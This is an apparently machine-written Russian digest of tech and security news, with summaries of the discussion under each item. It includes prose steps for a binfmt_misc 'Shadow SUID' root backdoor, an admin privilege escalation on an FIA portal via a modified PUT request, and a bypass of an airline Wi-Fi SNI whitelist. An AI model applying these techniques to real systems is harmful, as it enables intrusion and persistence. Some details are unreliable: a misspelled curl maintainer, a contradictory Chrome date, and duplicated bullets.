• Обсуждение в основном вращается вокруг трёх тем: безопасность, политика и доступность.
• Участники спорят, действительно ли TP-Link уязвимы, или это просто политическое давление.
• Поднимается вопрос о том, что если TP-Link запретят, то что будет с другими китайскими брендами.
• Также обсуждается, что если TP-Link уязвимы, то почему не запрещают другие компании, которые делают тоже самое.
• Некоторые участники высказывают мнение, что вся эта ситуация может быть просто способом защитить американские компании от конкуренции.

Cloudflare удалила домены ботнета Aisuru из своего публичного рейтинга самых запрашиваемых сайтов после того, как они несколько дней занимали верхние позиции, обойдя Amazon, Apple, Google и Microsoft. Aisuru, стремительно растущий ботнет из сотен тысяч взломанных IoT-устройств, переключился с DNS-серверов Google на Cloudflare (1.1.1.1), что позволило его доменам доминировать в рейтинге. Генеральный директор Cloudflare Мэтью Принс объяснил: "Атакующие просто генерируют массу запросов, возможно, чтобы повлиять на рейтинг, но также и для атаки на нашу DNS-сервис".

Ботнет, способный запускать DDoS-атаки до 30 терабит в секунду, использовал домены, имитирующие крупных облачных провайдеров, и даже один из доменов занимал первое место с адресом улицы в Массачусетсе. Эксперты отмечают, что это выявляет недостаток в системе рейтингов Cloudflare, которая должна отражать реальное использование людьми, а не просто объем DNS-запросов. "Это провал со стороны Cloudflare, который ставит под угрозу доверие и целостность их рейтингов", — считает CEO компании Epi Алекс Гренланд.

• Обсуждение критикует Cloudflare за публикацию списка «топ-100 доменов» без категоризации, что делает невозможным отфильтровать вредоносные домены, и ставит под сомнение саму методологию подготовки таких списков.
• Участники спора поднимают вопрос о том, что невозможно отличить бот-трафик от реального трафика, и что это может быть не более чем маркетинговый трюк.
• Также обсуждается, что если бы список был бы полностью прозрачен, то он мог бы включать в себя и вредоносные домены, что ставит под сомнение ценность такого списка.
• Некоторые комментаторы также поднимают вопрос о том, что если бы список был бы полностью прозрачен, то он мог бы включать в себя и вредоносные домены, что ставит под сомнение ценность такого списка.

Thomas Ptacek утверждает, что каждый должен написать агента на основе больших языковых моделей, чтобы по-настоящему понять эту технологию, независимо от своих скептических или восторженных взглядов. Как и обучение езде на велосипеде, практический опыт дает более глубокое понимание, чем абстрактные концепции. Автор подчеркивает, что создание агента оказывается удивительно простым процессом, который приносит больше практической пользы, чем можно ожидать.

Пример кода в статье демонстрирует базовую реализацию агента с использованием всего 15 строк кода через API OpenAI. Интересно, что контекстное окно в этом случае — просто список сообщений, а многопользовательский диалог поддерживается путем сохранения истории. Автор отмечает, что сам LLM является stateless-черным ящиком, а иллюзия непрерывного диалога создается разработчиком. Даже если многие специалисты не сочтут этот пример полноценным агентом (который должен использовать инструменты), добавление инструментов также оказывается простой задачей.

• Обсуждение показало, что большинство участников считают, что писать агентов вручную — это не только учебное упражнение, но и способ глубже понять, как работают LLM и инструменты вроде MCP.
• Участники подчеркнули, что даже простой агент может быть реализован всего в несколько строк кода, но при этом важно понимать, что именно делает его "агентом" — способность к итерации и само-улучшению.
• Обсуждались риски безопасности и контроля при использовании агентов, особенно в контексте предоставления им доступа к оболочке и файловой системе.
• Также обсуждались вопросы, связанные с тем, что агенты могут быть использованы для решения задач, которые еще не решены, и что это может быть более ценно, чем попытка создать еще один чат-бот или инструмент для уже решенной задачи.
• В конце обсуждение перешло к тому, что важно помнить, что даже если вы не собираетесь писать агентов для продакшена, опыт их создания может быть полезен для понимания того, как работают инструменты, которые вы используете, и как они могут быть использованы или злоупотреблены.

Troy Hunt объявил о добавлении в Have I Been Pwned 2 миллиардов уникальных email-адресов (точнее 1,957,476,021) и 1,3 миллиарда паролей, из которых 625 миллионов ранее нигде не встречались. Это крупнейшая база данных утечек, которую когда-либо обрабатывали. Данные поступили из двух источников: логов вредоносного ПО, собирающего данные с зараженных устройств, и списков для подбора паролей, полученных из других утечек. Hunt отмечает, что такие списки становятся "ключами от замка" из-за привычки пользователей использовать один и тот же пароль на разных ресурсах.

Для проверки данных Hunt проанализировал собственные старые email-адреса и обратился к подписчикам. Один пользователь подтвердил, что в базе находились как его старые, так и текущие пароли. Особенно показателен случай, когда человек использовал простой пароль, состоящий из другого пароля с добавлением в конце "!!". Это подтверждает распространенную практику создания слабых вариаций паролей, что делает пользователей уязвимыми при утечках данных.

• Пользователи обсуждают, что их данные уже неоднократно оказались в утечках, но при этом не ясно, какие именно сервисы пострадали и что делать с этим дальше.
• Обсуждается, что вместо того, чтобы собирать и продавать наши данные, компании могли бы просто не собирать лишние данные и не хранить их нешифрованными.
• Участники обмениваются опытом использования уникальных email-адресов и менеджеров паролей, но при этом отмечается, что даже при наличии таких инструментов, большинство сайтов всё ещё требуют email-адрес и не поддерживают вход через SSO-провайдеров.
• Поднимается вопрос, почему до сих пор не введён стандарт веб-автентификации через асимметричные ключи, вместо паролей, и почему пароли всё ещё не храняться в виде хеша, а не в открытом виде.

В индустрии безопасности наблюдается растущая проблема: ИИ-системы массово генерируют ложные сообщения об уязвимостях, которые затем отправляются настоящим экспертам на проверку.

Автор, имеющий десятилетний опыт в этой сфере, объясняет, что типичный ИИ-отчёт — это результат паттер-матчинга: система видит код, похожий на уязвимый, и генерирует сообщение, даже если уязвимости на самом деле нет. При этом некоторые участники просто бомбят системы, отправляя всё, что ИИ сгенерировал, надеясь, что какая-то часть окажется правдой.

Результат? По данным Дэниела Стернхауса (maintainer curl), до 20% всех сообщений об уязвимостях — это ложные срабатывания ИИ, в то время как реальные уязвимости составляют лишь около 5%. Это означает, что на каждую реальную проблему приходится четыре ложных, а на их проверку уходят часы работы экспертов-добровольцев.

Ситуация усугубляется тем, что проверка каждого такого отчёта требует совместных усилий нескольких человек. Например, один человек пытается воспроизвести проблему по шагам из отчёта (но шаги могут вести к несуществующим функциям). Другой — анализирует исходный код, чтобы понять, есть ли там такая уязвимость. Третий — проверяет гипотезы коллег. В итоге, одна ложная тревога съедает несколько человек-часов.

Автор призывает сообщество признать проблему и начать действовать: например, игнорировать сообщения, не подкреплённые реальными доказательствами, и сосредоточиться на реальных угрозах. В противном случае эксперты просто сгорят, и проекты лишатся защитников.

• Тема: «богатство, созданное на неоплаченном труде» — и LLM-технологии усугубляют проблему, а не GPL/AGPL-лицензии, как будто бы это имело значение.
• Проблема «hallucination» в LLM — это не просто баг, а фундаментальная проблема, и неясно, можно ли ее решить без радикального изменения архитектуры.
• Вопрос о том, что open-source сообщество может быть «обязано» Google, если бы они использовали GPL-библиотеки, остается открытым.
• И, возможно, что-то вроде «поддержки» open-source сообщества со стороны крупных технологических компаний может быть не столько «добровольной» инициативой, сколько необходимостью.

Министерство внутренней безопасности США (DHS) стремится расширить сбор биометрических данных, включая отпечатки пальцев, радужные оболочки и лица, даже от американских граждан. Это предложение выходит за рамки текущей практики, когда биометрические данные в основном собираются у иностранцев при пересечении границ. DHS утверждает, что такие меры необходимы для повышения национальной безопасности и борьбы с терроризмом.

Критики опасаются, что такое расширение полномочий приведет к массовой слежке за гражданами и нарушению их приватности. В настоящее время закон требует судебного ордера для сбора биометрических данных у граждан, но DHS хочет обойти это ограничение. Эксперты отмечают, что биометрические данные нельзя изменить в случае утечки, что создает долгосрочные риски для безопасности персональных данных населения.

• Сбор биометрических данных (ДНК, отпечатки пальцев, радужная оболочка) в США вызывает опасения из-за коммерческой ценности и высокого риска злоупотреблений.
• Массовый сбор ДНК новорожденных в Калифорнии без явного согласия граждан приводится как пример необратимого сбора чувствительных данных.
• Биометрию критикуют за использование в качестве "секретного ключа" вместо идентификации, что делает утечки необратимыми и создает риски авторитарного контроля.
• Участники обсуждают "скользкую дорожку" к авторитаризму, сравнивая практику с методами Штази и отмечая, что безопасность часто используется как оправдание для расширения слежки.
• Отмечается, что сбор данных уже стал рутиной в США и странах Five Eyes, а публичные комментарии граждан носят формальный характер и вряд ли повлияют на решения властей.

37 лет назад червь Morris заразил 10% интернета всего за 24 часа, положив начало новой эре в кибербезопасности. Созданный аспирантом Корнеллского университета Робертом Тапаном Моррисом, этот вредоносный код стал первым крупным инцидентом в истории сетей. Хотя его автор утверждал, что создавал программу для измерения размера интернета, ошибка в коде привела к бесконтрольному размножению червя, что вызвало массовые сбои в работе компьютеров по всему миру.

Инцидент привел к созданию первого в мире CERT (Команды реагирования на чрезвычайные ситуации в компьютерных сетях) и положил начало осознанию необходимости системного подхода к кибербезопасности. Интересно, что создатель червя был приговорен к трем годам условного заключения, общественным работам и штрафу в 10 000 долларов — одному из первых юридических преследований за киберпреступление в истории.

• В 1988 году Morris-червь заразил около 6 000 из ~60 000 узлов, что стало первым крупным инцидентом в истории кибербезопасности.
• Червь был случайно запущен из MIT, а не из Cornell, как считалось ранее.
• Позже Роберт Моррис стал сооснователем Y Combinator вместе с Полом Грэмом.
• Сегодняшняя инфраструктура интернета, включая облачные сервисы, делает подобные инциденты практически невозможными.
• Этот инцидент стал поворотным моментом в развитии кибербезопасности и стал причиной создания CERT/CC.

• Пользователи недовольны встроенными веб-вью (webview), так как они теряют контекст при переключении между приложениями и не позволяют вернуться к исходному месту.
• Мобильная платформа работает некорректно для неавторизованных пользователей, показывая бесполезные ошибки без указания на необходимость входа.
• Критикуются общее ухудшение пользовательского опыта, спамные практики и навязчивые методы увеличения вовлеченности (например, агрессивные клики по рекламе).
• Упомянуты спорные решения, такие как блокировка аккаунтов (например, PG) и изменение политики NSFW-контента в сервисах вроде Grok.
• Появились вопросы о предзагрузке ссылок в фоновом режиме, что может искусственно увеличивать трафик и представлять риски безопасности.

binfmt_misc — это функция ядра Linux, позволяющая системе распознавать и выполнять файлы на основе пользовательских форматов. Она расширяет стандартные возможности Linux (обычно ELF-файлы) для запуска скриптов, бинарных файлов других архитектур или пользовательских типов. Функция создает виртуальную файловую систему в /proc/sys/fs/binfmt_misc/, где регистрируются обработчики, указывающие ядру, как распознавать файлы и какой интерпретатор использовать.

Техника "Shadow SUID" использует binfmt_misc для создания скрытой бэкдоры. Атакующий регистрирует правило с флагом "C" (credentials), при котором интерпретатор запускается с правами оригинального файла. Если этот файл setuid-root, интерпретатор получает права суперпользователя. Этот метод позволяет сохранять привилегии даже после потери первоначального доступа. Интересно, что техника не задокументирована в MITRE ATT&CK и других фреймворках безопасности, что делает её практически незаметной.

Для реализации атаки нужно: проверить наличие binfmt_misc, скомпилировать интерпретатор, найти подходящий SUID-бинарный файл (например, chfn), зарегистрировать правило с магическими байтами этого файла. Когда пользователь запускает целевой бинарный файл, ядро перенаправляет выполнение на интерпретатор с повышенными привилегиями.

• Пользователи обсуждают, что binfmt_misc позволяет регистрировать обработчики для любых форматов файлов, но требует root-доступа, что делает невозможным запуск не-root-пользователем обработчика, что, как оказалось, является защитой от уязвимости.
• Аргумент о том, что это «дыра безопасности» в действительности не является таковой, поскольку требует root-доступа, и что это скорее является доказательством того, что статья упускает важную деталь.
• Участники обсуждают, что это может быть использовано для запуска кода для других архитектур через qemu-user, что делает возможным запуск контейнеров или сборку кода для других архитектур, не требуя полной эмуляции.
• Участники также обсуждают, что это может быть использовано для запуска .jar файлов и .exe (через Wine) без явного указания интерпретатора, что может быть использовано злоумышленником для создания бэкдора.
• Участники также обсуждают, что это может быть использовано для запуска кода для других архитектур без полной эмуляции, что делает возможным запуск контейнеров или сборку кода для других архитектур.

Выпущены исправления для трех критических уязвимостей в X.Org X server и Xwayland. Обновления xorg-server-21.1.19 и xwayland-24.1.9 исправляют проблемы, существовавшие в предыдущих версиях. Все три уязвимости (CVE-2025-62229, CVE-2025-62230 и CVE-2025-62231) были обнаружены Jan-Niklas Sohn при сотрудничестве с Trend Micro Zero Day Initiative.

Первая уязвимость связана с use-after-free при создании XPresentNotify структур, вторая - с некорректным удалением Xkb клиентских ресурсов, а третья - с переполнением значения в XkbSetCompatMap(). Две из этих проблем существуют с версии X11R6, что подчеркивает их серьезность. Все исправления уже доступны в репозиториях, и пользователям рекомендуется немедленно обновить системы для предотвращения потенциальных атак.

• В обсуждении поднимается вопрос о том, что X11/X.Org уязвим к трем недавно обнаруженным уязвимостям, и что это может быть последней каплей, которая убедит окончательно перейти на Wayland.
• Участники обсуждают, что X11 не имеет никаких механизмов безопасности, и что это не может быть исправлено без полной переработки.
• Некоторые участники высказывают мнение, что X11 устарел и что усилия по его поддержке были бы лучше направлены на другие проекты.
• Также обсуждается, что X11 не может быть защищен от вредоносного клиента, и что это не может быть исправлено без полной переработки.

Cloudflare анонсировал технологию анонимных учетных данных (anonymous credentials) для управления AI-агентами без компрометации приватности. С ростом популярности AI-агентов, которые будут выполнять задачи от заказа пиццы до написания кода, традиционные методы защиты становятся неэффективными. Существующие инструменты слишком грубые - блокировка одного агента может затронуть всех пользователей платформы. Анонимные учетные данные позволяют применять политики безопасности, такие как rate-limiting, без идентификации или отслеживания пользователей.

Технология находится в разработке в IETF как стандарт для работы across websites, browsers и platforms. Cloudflare планирует внести вклад в этот процесс, считая его критически важным для сохранения безопасности и приватности в эпоху AI. Это решение поможет справиться с растущим трафиком от AI-платформ, который, по прогнозам, скоро превысит трафик от традиционных источников, таких как мобильные устройства.

• Cloudflare продвигает протокол ARC (Anonymous Rate-Limited Credentials) как «решение» для проблемы, которую, по сути, создаёт сама же Cloudflare, вызывая вопросы о том, действительно ли это решение проблемы, или просто способ монетизации доступа к API.
• Представленный подход требует, чтобы пользователю пришлось бы получать токены через кредитную карту, что вызывает вопросы о том, не является ли это просто способом взимать плату за доступ к открытым API.
• В то же время, Cloudflare продолжает обслуживать очевидно вредоносные сайты, что вызывает критику со стороны общественности и ставит под сомнение их мотивы.
• В обсуждении также поднимается вопрос о том, что если бы компании действительно хотела бы решить проблему злоупотребления API, они могли бы просто предоставить токены напрямую, вместо того чтобы требовать, чтобы пользователи проходили через их платформу.
• В конце концов, обсуждение приходит к выводу, что вместо того, чтобы решать проблему, Cloudflare просто создаёт еще одну проблему, которую они же и решают с помощью своего же продукта.

Предоставленный контент — это навигационное меню GitHub для репозитория "samrolken/nokode", без описания самого проекта. На странице отсутствует информация о функционале, целях или особенностях nokode.

В интерфейсе присутствуют стандартные элементы GitHub: поиск, разделы для Enterprise, Pricing, Open Source, Resources и Solutions. Нет ни README, ни кода, ни обсуждений — только базовая структура страницы репозитория.

Для получения информации о проекте потребуется доступ к содержимому репозитория или его документации.

• Обсуждение показало, что «генерация кода на лету» вызывает споры: кто-то считает это будущим, другие указывают на проблемы с безопасностью, стоимостью и предсказуемостью.
• Участники обсуждали, что вместо генерации кода, можно кешировать уже созданные компоненты и переиспользовать их, что может решить проблему с производительностью.
• Некоторые комментаторы подчеркнули, что даже если LLM сгенерирует код, его все равно придется тестировать и поддерживать, и это может быть небезопасно.
• Также обсуждались вопросы стоимости и устойчивости такого подхода, особенно если учесть, что модели становятся дороже.
• В целом, участники согласились, что идея интересная как эксперимент, но пока не ясно, как она может масштабироваться или стать нормой практикой безопасной.

Европейский Совет вновь отступил от спорного предложения Chat Control после массового общественного сопротивления. Текущее датское председательство отозвало инициативу, которая требовала всеобщего сканирования зашифрованных сообщений под предлогом борьбы с материалами о сексуальном насилии над детьми. Это лишь очередной эпизод длительной борьбы между защитниками приватности и законодателями, которые считают, могут пожертвовать шифрованием во имя общественной безопасности. Предложение, прозванное "зомби-инициативой" за свою способность возрождаться, встретило решительный протест со стороны более 80 общественных организаций, включая Electronic Frontier Foundation.

Техническая критика фокусируется на фундаментальном непонимании принципов шифрования. Любая система сканирования, особенно клиентская, создает уязвимость в системе безопасности, превращая шифрование в иллюзию. Как показал опыт Apple в 2021 году, подобные системы неизбежно будут эксплуатироваться не только авторизованными органами, но и злоумышленниками. Отказ Chat Control демонстрирует важность общественного участия в технологической политике, где консолидированное сопротивление экспертов, правозащитных организаций и обычных граждан смогло остановить опасную инициативу.

• Предложение о "контроле чатов" в ЕС отложено, но сторонники намерены вернуться к нему; это уже 25-я попытка за 4 года.
• Любые исключения для политиков и чиновников вызывают особенно яростную критику, поскольку подчеркивает лицемерие.
• Попытки ввести сканирование сообщений в ЕС сопровождаются попытками в США, где подобные инициативы уже провалились.
• Предложение в ЕС предусматривает, что даже зашифрованные сообщения могут быть прочитаны третьей стороной, что технически невозможно без встроенной уязвимости, что вызывает обеспокоенность экспертов.
• Подобные инициативы встречают сопротивление из-за опасений, что они могут быть использованы для массового надзора и что они нарушают права человека, особенно если политики и другие элиты освобождаются от этих правил.

Современные электронные паспорта представляют собой встроенные устройства с файловой системой, контролем доступа и криптографической защитой, соответствующие стандартам ICAO Doc 9303. Их файловая структура включает три типа файлов: основные (MF) как корневой каталог, специализированные (DF) как приложения и элементарные (EF) с данными. Основное приложение eMRTD содержит персональные данные (DG1) и биометрическую информацию (DG2 с фотографией), а также дополнительные опциональные группы данных для цифровых штампов и виз.

Эти документы используют короткодействующий RFID (ISO 14443) и защищены от несанкционированного чтения, прослушки, подделки и копирования. Модель угроз разделяет атакующих по физическому доступу: без паспорта нельзя прочитать данные или отследить его перемещения, а с паспортом - скопировать цифровую копию или получить доступ к биометрическим данным (отпечатки пальцев DG3, радужка DG4). Несмотря на современные протоколы, поддержка устаревших механизмов создает дополнительные риски для владельцев.

• Вашингтонский "Enhanced ID" стал первым документом, одобренным DHS в 2005 году, но уже тогда исследователи нашли уязвимости, включая возможность удалённого клонирования и отключения чипа, а ведь с тех пор технологию так и не обновили.
• Паспорт как технология контроля движения людей: от крепостных до наших дней.
• Электронные паспорта и ID-карты не решают проблему подделки документов, а лишь переносят доверие с бумаги на криптографию, что в условиях коррупции в гос. органах не имеет значения.
• Почему в 2024 году нельзя сделать паспорт, который нельзя было бы подделать? Потому что это не позволит контролировать потоки мигрантов.
• Паспортизация как способ контроля миграции.

Анонимный пользователь rogueFed получил доступ к закрытому брифингу Cellebrite и опубликовал скриншоты, показывающие, что большинство смартфонов Pixel уязвимы для взлома этой компанией. Уязвимы модели Pixel 6, 7, 8 и 9 серии, в то время как недавно выпущенный Pixel 10 в списке отсутствует. Cellebrite может извлекать данные из этих устройств в трех состояниях: до первого разблокировки (BFU), после первого разблокировки (AFU) и в полностью разблокированном режиме. Интересно, что компания отмечает, что не может взломать графенос с последних версиями ПО, даже если устройство разблокировано.

На стандартном Android Cellebrite может извлекать данные из Pixel 6-9 во всех состояниях, но не может brute-force пароли для полного контроля над устройством. Для GrapheneOS ситуация иная: только версии ПО до конца 2022 года уязвимы, а более новые защищены даже в BFU и AFU состояниях. Полиция до сих пор не может копировать eSIM с Pixel устройств, хотя Pixel 10 уже переходит на использование только eSIM.

• GrapheneOS признан более устойчивым к взлому, чем стандартный Android, что подтверждается упоминанием в документах Cellebrite.
• Google criticized for weaker security compared to volunteer-developed custom ROMs, with questions about why official Pixel OS is less secure.
• Debate over eSIM vs physical SIM cards: users value physical SIMs for convenience and flexibility, while eSIMs seen as increasing corporate control.
• Cellebrite's hacking tools revealed as vulnerable themselves, with past leaks and physical devices potentially compromised.
• GrapheneOS offers enhanced security but involves trade-offs like reduced compatibility with services (e.g., Google Pay, emergency services).

Google анонсировал, что с выходом Chrome 154 в октябре 2026 года включит по умолчанию функцию "Always Use Secure Connections", требующую разрешения пользователя для доступа к сайтам без HTTPS. Эта мера призвана защитить пользователей от атак, при которых злоумышленники могут перехватить навигацию и подменить контент. Хотя HTTPS-адoption достиг 95-99%, прогресс застыл с 2020 года, а оставшиеся HTTP-соединения все еще представляют значительную угрозу.

Для баланса безопасности и удобства Chrome не будет дублировать предупреждения для часто посещаемых HTTP-сайтов. Google подчеркивает, что даже небольшая доля небезопасных соединений создает риски, так как атакующему достаточно одного успешного перехвата. Компания отмечает, что за десятилетие наблюдений HTTPS стал зрелым и широко распространенным, что позволяет теперь перейти к более строгим мерам защиты по умолчанию.

• Пользователи обсуждают, что почти весь трафик уже давно перешёл на HTTPS, и оставшиеся HTTP-сайты — это в основном старые ресурсы, которые не обновлялись с 2010-х годов.
• Обсуждается, что в 2024 году Google Chrome полностью отключит поддержку HTTP, и это вызвало споры о том, насколько это нужно, учитывая, что большинство сайтов уже используют HTTPS.
• Участники обсуждают, что вместо того, чтобы отключать HTTP, Google мог бы вместо этого инвестировать в улучшение инструментов для разработчиков, чтобы они могли легче мигрировать с HTTP на HTTPS.
• Также обсуждается, что отключение HTTP может затруднить доступ к внутренним ресурсам в корпоративных сетях, где HTTPS не всегда практичен.

• Пользователи обсуждают, что за 20 000 $ покупатель получает лишь «голый» робот без ИИ и без подписки, а все «умные» действия фактически выполняются удалённым оператором из Филиппин.
• Сомнения в надёжности компании: неясно, как она финансирует бесплатную доставку по всему миру, и почему она не может позволить себе инвестировать в R&D, чтобы робот стал автономным.
• Критика дизайна: «робот выглядит как злодей из фильма ужасов», «почему он не может быть на колёсиках, как Roomba, вместо ног?» — и как это скажется на безопасность и конфиденциальность в доме заказчика.
• Поднимается вопрос о том, как компания собирается масштабировать теле-операторов, если каждый экземпляр требует человека-оператора, и как это сочетается с заявленной ценой.
• И наконец, обсуждается, что если устройство не способно самостоятельно выполнять большинство задачь, то не ясно, как оно может быть полезно в быту, и не является ли это просто дорогая игрушка.

Cisco AI Defense представила mcp-scanner - инструмент для сканирования серверов Model Context Protocol (MCP) на наличие уязвимостей. Проект открыт на GitHub, что позволяет разработчикам использовать и улучшать сканер для защиты MCP-инфраструктуры.

MCP - протокол для взаимодействия с языковыми моделями, который становится все более популярным. Безопасность таких серверов критически важна, так как они могут содержать чувствительные данные или предоставлять доступ к важным функциям. Инструмент от Cisco помогает выявлять потенциальные брезы в безопасности до того, как они будут использованы злоумышленниками.

• Организация, упомянутая в обсуждении, обвиняется в попытке внедрить вредоносный код в npm-пакеты, что вызвало обеспокоенность сообщества.
• Участники обсуждали безопасность MCP-серверов и их влияние на безопасность данных пользователей.
• Обсуждались трудности аутентификации и авторизации в MCP-экосистеме, включая отсутствие стандартизированных решений.
• Участники также обсуждали, что MCP-спецификация всё ещё находится в стадии активной разработки, что вызывает вопросы о стабильности и готовности к использованию в продакшене.
• Были высказаны опасения по поводу того, что MCP в его текущем виде может не подходить для использования в корпоративных условиях.

Python Software Foundation (PSF) withdrew its $1.5 million grant application to the US National Science Foundation (NSF) after the agency demanded a commitment to abandon diversity, equity, and inclusion (DEI) initiatives. The proposed funding aimed to enhance security for Python's package repository PyPI by developing automated tools to proactively detect malicious code in packages, a significant improvement over current reactive methods. The NSF's condition required the PSF to affirm it would not "advance or promote DEI," a restriction applying to all PSF activities, not just the funded project. Violation would trigger the NSF to reclaim previously awarded funds, creating substantial financial risk.

This demand directly conflicted with the PSF's core mission, explicitly stating its commitment to supporting "a diverse and international community." Despite the grant's potential to significantly boost the PSF's annual $5 million budget and develop security tools with broader open-source ecosystem benefits (like NPM and Crates.io), the organization refused to compromise its values. The PSF Board unanimously decided withdrawal was necessary to retain the freedom to support its entire community. The loss of this funding, coupled with economic pressures, increases the PSF's need for direct community financial support.

• PSF отказалась от $1,5 млн гранта из-за требования отказаться от DEI-программ, что вызвало широкий резонанс в сообществе.
• Обсуждение подняло вопрос о том, что DEI-программы могут быть незаконны, и что это может быть причиной, по которой грант был отклонен.
• Некоторые участники обсуждения выразили обеспокоенность тем, что отказ от гранта может повлиять на безопасность и стабильность экосистемы Python.
• Были высказаны предложения о том, что сообщество могло бы само финансировать нужды, чтобы не зависеть от грантов с политическими условиями.
• Обсуждение также затронуло вопрос о том, что DEI-программы могут быть незаконны, и что это может быть причиной, по которой грант был отклонен.

В статье Джеймса Миккенса критикуется сложный и непонятный язык, используемый в исследованиях по безопасности. Автор приводит примеры абсурдных названий докладов вроде "Vertex-based Elliptic Cryptography on N-way Bojangle Spaces", которые начинаются посередине сложной темы без должного контекста. Миккенс сравнивает исследователей безопасности с триатлетами, тренирующимися для маловероятных сценариев, утверждая, что они сосредоточены на теоретических проблемах, а не на практических решениях.

Автор также критикует PR-навыки специалистов по безопасности, сравнивая их с "надменными подростками, слушающими готическую музыку", которые сосредоточены на потенциальных катастрофах, но не дают практических рекомендаций. Миккенс выражает разочарование, что сообщество безопасности изучает экзотические угрозы (например, управление кардиостимуляторами через банку Pringles), вместо решения более распространенных проблем, таких как создание запоминающихся, но надежных паролей.

• Обсуждение началось с цитаты из статьи Mickens о том, что если противник — это Mossad, то «вы уже мертвы» и ничего не поделаешь.
• Участники обсудили, насколько реалистично представленный сценарий, где противник — это государственная разведка, и какие угрозы реальны для обычных людей.
• Поднялась тема, что даже если Mossad не заинтересован в большинстве людей, то есть ли смысл в чрезмерной паранойе, и какие именно угрозы стоит считать реальными.
• Обсуждались примеры, когда разведки разных стран использовали вредоносное ПО или оборудование для слежки, и как это влияет на дискуссию о безопасности.
• В комментариях также поднялись темы, связанные с недавними событиями, включая взрывы пейджеров и телефонов, и обсуждалось, как это соотносится с обсуждаемыми темами.

С обновлением iOS 26 Apple изменила обработку файла shutdown.log, теперь он полностью перезаписывается при каждой перезагрузке вместо добавления новых записей. Это изменение эффективно удаляет ключевые индикаторы компрометации (IOCs) для шпионского ПО Pegasus и Predator, что создает серьезные проблемы для расследований и проверки устройств на зараженность. Файл shutdown.log был критически важен для обнаружения этих угроз, так как содержал следы деятельности вредоносного ПО даже во время выключения устройства.

В 2021 году в shutdown.log были обнаружены явные следы Pegasus, а к 2022 году злоумышленники стали более изощренными, полностью стирая файл, но даже это оставляло косвенные доказательства. Для версий iOS до 26 конкретным индикатором компрометации была запись /private/var/db/com.apple.xpc.roleaccountd.staging/com.apple.WebKit.Networking. Теперь же с обновлением до iOS 26 все эти следы автоматически удаляются, что происходит в момент, когда количество атак с использованием шпионского ПО только растет.

• Apple удаляет ключевой файл журнала shutdown.log, что лишает пользователей и исследователей единственного способа обнаружить Pegasus и другие вредоносные ПО, и это вызывает вопросы о том, насколько серьезно компания относится к безопасности и прозрачности.
• Удаление журнала делает невозможным обнаружение шпионского ПО, что особенно критично, учитывая что Apple позиционирует себя как защитник конфиденциальности.
• Некоторые комментаторы поднимают вопрос о том, что Apple может быть умышленно оставляет устройства уязвимыми для израильских хакеров, особенно в свете их истории сотрудничества с правительством США.
• Другие указывают на то, что Apple не предоставляет пользователям инструментов для проведения собственных расследований, что делает невозможным для них проверить свои устройства на наличие вредоносного ПО.
• В ответ на это, некоторые участники обсуждения предлагают, что Apple должна предоставить пользователям инструменты для проведения собственных расследований, включая доступ к полному дампу памяти, что позволило бы им проверять свои устройства на наличие вредоносного ПО.

Недавно на рейсе British Airways из Гонконга в Лондон автор обнаружил бесплатный WiFi для "сообщений" через программу лояльности. Оказалось, что для регистрации достаточно ввести email без верификации прямо в полёте. Бесплатный интернет работал с WhatsApp, Signal и WeChat (без изображений), но блокировал Discord и обычные сайты.

Автор выяснил, что система использует SNI (Server Name Indication) из TLS-рукопожатия для определения типа трафика. SNI раскрывает домен до установления шифрования, позволяя авиакомпании блокировать не-whitelisted домены. Эксперименты показали, что даже прямые подключения по IP без SNI блокируются, а использование SNI от WhatsApp (wa.me) обходит ограничение, позволяя установить соединение с любым сайтом через хост-заголовок HTTP.

• Обсуждение началось с описания способа обхода ограничений Wi-Fi в самолётах и круизных лайнерах с помощью VPN, DNS-туннелирования и прочих техник, включая использование порта 53/UDP и DNS-over-HTTPS.
• Участники обменялись историями о том, как они обходили плату за Wi-Fi в полёте, используя различные комбинации инструментов вроде OpenVPN, WireGuard, Iodine и прочих.
• Обсуждались также такие темы, как SNI-утечки, обфускация трафика и их влияние на приватность пользователей.
• Упоминались также вопросы о том, как авиакомпании и другие транспортные компании могут отслеживать и ограничивать использование VPN и прокси-серверов.
• В конце обсуждение перешло к обсуждению более широких тем, таких как приватность и безопасность в сети, а также о том, как технические меры могут быть использованы для обхода цензуры и ограничений.

Anthropic представила функцию памяти для Claude, которая позволяет ИИ запоминать контекст проектов, предпочтения команды и рабочие паттерны. Функцией уже пользуются Team и Enterprise-планы, а теперь она доступна и для Pro и Max. Память полностью опциональна с детальным контролем пользователя, а для конфиденциальных разговоров добавлен режим "Инкогнито", который не сохраняется в истории.

Каждый проект имеет отдельную память, что предотвращает смешивание информации между разными инициативами. Пользователи могут просматривать и редактировать то, что запомнил Claude, через сводку памяти. Функция прошла тщательное тестирование безопасности, включая проверку на возможность воспроизведения вредных паттернов. Как отмечено в статье: "Memory helps you and your teams manage complex, concurrent initiatives without mixing unrelated details, serving as a safety guardrail that keeps sensitive conversations contained".

• Пользователи обсуждают, что новая функция памяти в Claude не работает как RAG-система, а скорее как «контекст-окно плюс» — она не запоминает документы, а лишь «контекст» внутри одной сессии.
• Участники отмечают, что Anthropic не раскрывает, как именно реализована память: нет никакого доступа к «памяти» или возможности её редактировать, что вызывает вопросы о контроле и прозрачности.
• Ряд участников подчеркивает, что модель не может отличить, какие именно воспоминания будут использованы в будущем, и это вызывает опасения по поводу приватности и безопасности.
• Некоторые участники высказывают, что не ясно, как именно память влияет на стоимость и токены, и нет ли у неё каких-то ограничений по объёму.
• Также обсуждается, что Anthropic не предоставляет никакого способа переноса памяти между различными проектами или даже между Claude и ChatGPT.

Исследователи безопасности обнаружили критическую уязвимость в системе Международной автомобильной федерации (FIA), позволившую получить несанкционированный доступ к персональным данным гонщиков Формулы-1. Через портал drivercategorisation.fia.com, используемый для присвоения гонщикам категорий, они смогли повысить свои привилегии до уровня администратора с помощью простого модифицированного HTTP PUT запроса, добавив параметр "roles" со значением "ADMIN".

Получив полный административный доступ, исследователи обнаружили возможность просмотра конфиденциальной информации, включая паспортные данные чемпиона Макса Ферстаппена и других гонщиков. Уязвимость существовала из-за отсутствия proper проверки прав при изменении параметров пользователя, что позволяло осуществить атаку повышения привилегий. Этот инцидент демонстрирует серьезные пробелы в кибербезопасности даже в таких престижных организациях, как FIA, отвечающей за один из самых технологичных видов спорта в мире.

• Сайт F1, который не смог защитить личные данные, был взломан, и это стало поводом для обсуждения, что компания, которая не может защитить данные, не должна быть доверена.
• Пользователи отметили, что сайт не только не защищает данные, но и не имеет bug bounty программы, что делает невозможным получить вознаграждение за найденные уязвимости.
